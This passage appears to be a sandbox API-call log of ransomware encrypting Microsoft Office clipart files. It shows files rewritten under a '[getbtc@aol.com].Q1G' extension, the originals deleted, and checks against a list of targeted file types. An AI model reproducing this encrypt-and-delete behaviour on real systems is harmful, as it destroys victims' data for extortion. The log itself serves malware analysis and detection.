office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.766] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.766] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.766] GetLastError () returned 0x0 [0254.766] ReadFile (in: hFile=0x3e0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1846, lpOverlapped=0x0) returned 1 [0254.786] WriteFile (in: hFile=0x3d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1850, lpOverlapped=0x0) returned 1 [0254.787] ReadFile (in: hFile=0x3e0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.787] WriteFile (in: hFile=0x3d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.787] SetEndOfFile (hFile=0x3d0) returned 1 [0254.787] CloseHandle (hObject=0x3d0) returned 1 [0254.787] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.787] SetEndOfFile (hFile=0x3e0) returned 1 [0254.789] CloseHandle (hObject=0x3e0) returned 1 [0254.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0254.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0254.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0254.791] lstrlenW (lpString=".doc") returned 4 [0254.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.791] lstrlenW (lpString=".docx") returned 5 [0254.791] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0254.791] lstrlenW (lpString=".pdf") returned 4 [0254.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.791] lstrlenW (lpString=".xls") returned 4 [0254.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.791] lstrlenW (lpString=".xlsx") returned 5 [0254.791] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0254.791] lstrlenW (lpString=".ppt") returned 4 [0254.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0254.791] lstrlenW (lpString=".zip") returned 4 [0254.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.791] lstrlenW (lpString=".rar") returned 4 [0254.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.791] lstrlenW (lpString=".bz2") returned 4 [0254.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.791] lstrlenW (lpString=".7z") returned 3 [0254.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0254.791] lstrlenW (lpString=".dbf") returned 4 [0254.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0254.792] lstrlenW (lpString=".1cd") returned 4 [0254.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0254.792] lstrlenW (lpString=".jpg") returned 4 [0254.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0254.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0254.792] lstrlenW (lpString=".doc") returned 4 [0254.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.792] lstrlenW (lpString=".docx") returned 5 [0254.792] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0254.792] lstrlenW (lpString=".pdf") returned 4 [0254.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.792] lstrlenW (lpString=".xls") returned 4 [0254.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.792] lstrlenW (lpString=".xlsx") returned 5 [0254.792] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0254.792] lstrlenW (lpString=".ppt") returned 4 [0254.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0254.792] lstrlenW (lpString=".zip") returned 4 [0254.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.792] lstrlenW (lpString=".rar") returned 4 [0254.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.792] lstrlenW (lpString=".bz2") returned 4 [0254.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.792] lstrlenW (lpString=".7z") returned 3 [0254.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0254.792] lstrlenW (lpString=".dbf") returned 4 [0254.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0254.792] lstrlenW (lpString=".1cd") returned 4 [0254.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0254.793] lstrlenW (lpString=".jpg") returned 4 [0254.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.793] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.793] lstrlenW (lpString="J0099176.WMF") returned 12 [0254.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.822] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2488) returned 1 [0254.822] CloseHandle (hObject=0x3e0) returned 1 [0254.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 0x20 [0254.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.822] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.822] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.823] GetLastError () returned 0x0 [0254.823] ReadFile (in: hFile=0x3e0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0254.824] WriteFile (in: hFile=0x3d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0254.825] ReadFile (in: hFile=0x3e0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.825] WriteFile (in: hFile=0x3d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.825] SetEndOfFile (hFile=0x3d0) returned 1 [0254.825] CloseHandle (hObject=0x3d0) returned 1 [0254.825] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.825] SetEndOfFile (hFile=0x3e0) returned 1 [0254.827] CloseHandle (hObject=0x3e0) returned 1 [0254.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0254.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0254.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0254.828] lstrlenW (lpString=".doc") returned 4 [0254.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.828] lstrlenW (lpString=".docx") returned 5 [0254.828] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0254.828] lstrlenW (lpString=".pdf") returned 4 [0254.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.828] lstrlenW (lpString=".xls") returned 4 [0254.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.828] lstrlenW (lpString=".xlsx") returned 5 [0254.828] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0254.828] lstrlenW (lpString=".ppt") returned 4 [0254.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0254.828] lstrlenW (lpString=".zip") returned 4 [0254.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.829] lstrlenW (lpString=".rar") returned 4 [0254.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.829] lstrlenW (lpString=".bz2") returned 4 [0254.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.829] lstrlenW (lpString=".7z") returned 3 [0254.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0254.829] lstrlenW (lpString=".dbf") returned 4 [0254.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0254.829] lstrlenW (lpString=".1cd") returned 4 [0254.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0254.829] lstrlenW (lpString=".jpg") returned 4 [0254.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0254.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0254.829] lstrlenW (lpString=".doc") returned 4 [0254.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.829] lstrlenW (lpString=".docx") returned 5 [0254.829] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0254.829] lstrlenW (lpString=".pdf") returned 4 [0254.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.829] lstrlenW (lpString=".xls") returned 4 [0254.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.829] lstrlenW (lpString=".xlsx") returned 5 [0254.829] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0254.829] lstrlenW (lpString=".ppt") returned 4 [0254.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0254.829] lstrlenW (lpString=".zip") returned 4 [0254.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.829] lstrlenW (lpString=".rar") returned 4 [0254.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.829] lstrlenW (lpString=".bz2") returned 4 [0254.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.830] lstrlenW (lpString=".7z") returned 3 [0254.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0254.830] lstrlenW (lpString=".dbf") returned 4 [0254.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0254.830] lstrlenW (lpString=".1cd") returned 4 [0254.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0254.830] lstrlenW (lpString=".jpg") returned 4 [0254.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.830] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.830] lstrlenW (lpString="J0099177.WMF") returned 12 [0254.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.830] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=5386) returned 1 [0254.830] CloseHandle (hObject=0x3e0) returned 1 [0254.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 0x20 [0254.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.831] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.831] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.832] GetLastError () returned 0x0 [0254.832] ReadFile (in: hFile=0x3e0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x150a, lpOverlapped=0x0) returned 1 [0254.833] WriteFile (in: hFile=0x3d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1510, lpOverlapped=0x0) returned 1 [0254.834] ReadFile (in: hFile=0x3e0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.834] WriteFile (in: hFile=0x3d0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.834] SetEndOfFile (hFile=0x3d0) returned 1 [0254.835] CloseHandle (hObject=0x3d0) returned 1 [0254.835] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.835] SetEndOfFile (hFile=0x3e0) returned 1 [0254.837] CloseHandle (hObject=0x3e0) returned 1 [0254.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0254.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0254.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0254.838] lstrlenW (lpString=".doc") returned 4 [0254.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.838] lstrlenW (lpString=".docx") returned 5 [0254.838] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0254.838] lstrlenW (lpString=".pdf") returned 4 [0254.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.838] lstrlenW (lpString=".xls") returned 4 [0254.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.838] lstrlenW (lpString=".xlsx") returned 5 [0254.838] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0254.838] lstrlenW (lpString=".ppt") returned 4 [0254.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0254.838] lstrlenW (lpString=".zip") returned 4 [0254.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.838] lstrlenW (lpString=".rar") returned 4 [0254.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.838] lstrlenW (lpString=".bz2") returned 4 [0254.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.838] lstrlenW (lpString=".7z") returned 3 [0254.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0254.838] lstrlenW (lpString=".dbf") returned 4 [0254.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0254.838] lstrlenW (lpString=".1cd") returned 4 [0254.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0254.838] lstrlenW (lpString=".jpg") returned 4 [0254.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0254.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0254.838] lstrlenW (lpString=".doc") returned 4 [0254.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.838] lstrlenW (lpString=".docx") returned 5 [0254.838] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0254.839] lstrlenW (lpString=".pdf") returned 4 [0254.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.839] lstrlenW (lpString=".xls") returned 4 [0254.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.839] lstrlenW (lpString=".xlsx") returned 5 [0254.839] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0254.839] lstrlenW (lpString=".ppt") returned 4 [0254.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0254.839] lstrlenW (lpString=".zip") returned 4 [0254.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.839] lstrlenW (lpString=".rar") returned 4 [0254.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.839] lstrlenW (lpString=".bz2") returned 4 [0254.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.839] lstrlenW (lpString=".7z") returned 3 [0254.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0254.839] lstrlenW (lpString=".dbf") returned 4 [0254.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0254.839] lstrlenW (lpString=".1cd") returned 4 [0254.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0254.839] lstrlenW (lpString=".jpg") returned 4 [0254.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.839] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.839] lstrlenW (lpString="J0099178.WMF") returned 12 [0254.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.841] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3606) returned 1 [0254.841] CloseHandle (hObject=0x3d0) returned 1 [0254.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 0x20 [0254.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.841] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.841] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 